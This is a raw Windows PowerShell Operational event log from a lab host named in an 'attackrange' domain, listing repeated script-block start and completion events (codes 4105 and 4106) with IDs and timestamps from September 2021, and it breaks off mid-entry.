LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988365 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:09 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988364 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:13 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988383 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:13 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988382 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:13 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988381 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:13 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988380 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:13 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988379 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:13 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988378 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:13 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988377 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:13 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988376 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:13 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988375 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:13 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988374 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:17 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988393 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:17 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988392 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:17 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988391 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:17 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988390 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:17 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988389 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:17 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988388 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:17 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988387 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:17 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988386 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:17 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988385 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:17 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988384 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:23 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988403 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:23 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988402 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:23 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988401 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:23 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988400 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:23 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988399 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:23 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988398 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:23 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988397 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:23 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988396 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:23 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988395 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:23 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988394 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:29 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988413 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:29 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988412 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:29 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988411 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:29 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988410 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:29 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988409 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:29 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988408 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:29 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988407 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:29 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988406 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:29 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988405 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:29 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988404 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:33 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988423 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:33 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988422 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:33 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988421 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:33 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988420 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:33 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988419 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:33 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988418 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:33 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988417 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:33 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988416 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:33 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988415 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:33 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988414 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:38 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988433 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:38 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988432 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:38 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988431 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:38 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988430 Keywords=None Message=Started invocation of ScriptBlock 